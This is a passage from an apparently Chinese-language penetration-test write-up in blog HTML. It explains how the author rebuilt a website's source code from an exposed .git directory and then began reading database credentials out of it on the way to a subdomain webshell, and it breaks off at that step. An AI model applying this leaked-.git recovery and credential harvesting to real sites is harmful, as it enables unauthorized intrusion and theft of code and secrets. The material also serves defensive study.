0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">但在这里，我们使用</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">zlib</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">去解压缩，发现存储在</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">.git/index</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的SHA1值实际上就是一个</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">blob</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">对象的值，也就根本不需要获取</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">commit</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">、</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">tree</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">对象的值了，表示之前的顺序逆推逻辑是错误的:</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="text-align: center;"><img data-ratio="0.04289544235924933" data-w="1492" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d0d030ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWWWciadiclUibbK5sYpwxh7shOcKlQ9302lCDC8ibP7M8lj1HibpEjyficyMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">接下来按照这个思路去编写脚本恢复源码即可。<br/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>编写与恢复</strong></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">由于项目时间原因简单了解原理之后，没有过多的去研究，也不打算使用原生方法去恢复，还是采用最暴力的方法，使用命令行去恢复<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git</code>，想要让Git回退历史，使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">git reset --hard commit_id</code>命令，进行版本回退。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">基于这个命令，我需要获取网站的这几个文件/目录:</p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/index</code></p></li><li><p><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/logs</code></p></li><li><p><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/head</code></p></li><li><p><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/objects</code></p></li><li><p><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/refs</code></p></li></ol><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">先下载<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/index</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/head</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/refs</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/logs</code>(<strong>文件目录都是固定的无需考虑其他情况</strong>)而后解析<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">index</code>获取索引，根据索引依次下载<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/objects</code>内的文件，最后全部下载完毕，获取<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">master</code>分支(<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">refs/heads/master</code>文件)对应的值带入该命令<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">git reset --hard commit_id</code>即可恢复:</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.2509457755359395" data-w="1586" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c7193045&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLW3kHP6YXLyDzjQO6qDXiaqWsPJeQw8vGcl22ib43icDJykRO8dzT95b2cw%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">但发现除此之外，发现恢复的文件寥寥无几，后来下载</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">.git/logs/head</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">发现该</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">.git</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">项目还有其他分支:<br/></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.06064690026954178" data-w="1484" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0d8a18fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWWVumUB5RYrvGSUWBjIia6apPRNJgUK7SHRXeLmEYof631sCxT9lAw9g%2F640%3Fwx_fmt%3Dpng"/><br/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">这个记录中有两个SHA1的值，</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">master</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">对应前者，</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">shop</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">对应后者，简单修改命令</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">git reset --hard shop_commit_id</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，还是那一套流程，恢复</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">shop</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">这个分支的源码即可。</span></p><p><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">获取子域 Webshell</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">获得源码之后翻数据库账号密码:</p><p><br/></p><p><img data-ratio="1.0846905537459284" data-w="614" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=92e441a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWcV6S6U1iaGENwEBKEQXciczLh5wjoJwr73du7dDCVkSEoyiaHiaew7cHEw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">由于之前我们已经有了一个</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 